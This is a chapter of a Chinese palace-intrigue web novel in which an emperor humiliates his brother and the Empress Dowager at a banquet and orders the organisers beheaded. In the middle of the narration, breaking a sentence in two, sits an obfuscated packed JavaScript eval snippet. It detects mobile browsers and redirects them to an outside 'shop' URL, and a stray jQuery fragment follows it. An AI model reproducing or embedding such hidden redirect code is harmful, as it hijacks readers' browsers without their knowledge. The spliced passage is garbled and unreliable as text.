10. 拖下去把头砍了
怎么来了?”太后侧过头看着他,脸上闪过了一丝不自在。

    尧让露出了一抹浅淡的笑意:“今日没什么急务,难得清闲些,想着宫宴还未结束,朕便过来凑个热闹。”

    “臣妾见过陛下!”众妃嫔整齐地站起身,微微躬身说道。

    “都坐下吧,今日是宫宴,不必拘束着那些繁文缛节,随意些便好。”他的语气稍缓,听不出喜怒。

    “母后,儿臣来晚了,让您久等了......”尧显大步踏入暖阁,在看到太后身侧的尧让,他脸上的喜悦神情瞬间便消失了。

    不仅仅是尧显脸上的喜悦消失,众嫔妃脸上也明显的出现了不自在。

    尧显和众嫔妃脸上的不自在都被尧让看在眼里,尧让倚靠在紫檀木椅上,指尖一下又一下地轻扣着扶手,他微微抬眼看向尧显,嘴角勾起了一抹似有若无的笑意,那抹笑意里带着几分漫不经心,仿佛是已然预料了发生的这一幕,就连语气里都带着几分戏谑的从容。

    “王兄也来了,巧得很呢,朕也是刚到。”

    尧显闻言连忙躬身:“臣见过陛下,不知陛下早已在此,未能远迎,实在是臣的疏忽,望陛下恕罪。”

    “今日是宫宴,王兄不必如此谦逊。”他眼光扫过殿内陈设的座椅,忽然话锋一转,语气里添了一丝玩味:“嗯?朕看了看,殿内好像已经没有王兄的位置了?”

    他没有理会尧显脸上的些许慌张,而是侧过头看向身旁的太后,嘴角的笑意带着几分刻意的试探:“还真是奇怪呢,您说对吧,母后?”

    说罢,暖阁里的空气像是停滞了一般,他语气轻松,却让那看似无意的问话中藏了几分说不清道不明的深意。

    太后没有回答他的问题,他脸上的笑意瞬间全无,冷淡道:“朕登帝五年,从未踏足这皇家宫宴,今日难得一来,便发生了如此荒谬之事;难不成......母后身旁这仅有的一把椅子是给王兄留的?”

    听着尧让说出口的话,太后脸上的平静终究无法压制,逐渐被慌张取代。

    “如若当真是这般,王兄是否太没有规矩了?”尧让浅浅地笑了笑:“朕是九五至尊的皇帝,而母后是天下之母的太后,王兄只是臣子,臣子怎能与太后并肩而坐?亦或者,朕这皇帝的位置,王兄想来坐坐?”

    最后那句话掷地有声,这股皇威威压把得满殿妃嫔吓得垂首屏息,就连太后脸上的笑容都变得全然僵硬。

    太后心里有数,她这位儿子的心思最是让她无法揣测明白的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16575496|187087||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ,向来都是如此。

    尧显忽然下跪,额间渗出细汗,语气带着万分急切:“陛下,臣不敢有、甚至从未有过如此大逆不道的心思!母后身旁的位置,本来就该是陛下的,臣怎敢觊觎?今日之事,许是底下人操办时疏忽了位次,臣绝无半分僭越之心,还请陛下明察。”

    话一说完,他深深叩首,姿态谦卑到了极致,生怕那冰冷的杀意落在自己身上。

    “哦?是谁操办的今日宫宴事宜?”

    殿内死寂一片,无人敢应声;他眼底的杀意更盛,一字一句地说道:“林贤,传朕的旨意,让御林军给朕查清楚了,凡经手此事的宫人内侍,以及妃嫔,通通拖下去,把头砍了。”

本章未完,请点击下一页继续阅读>>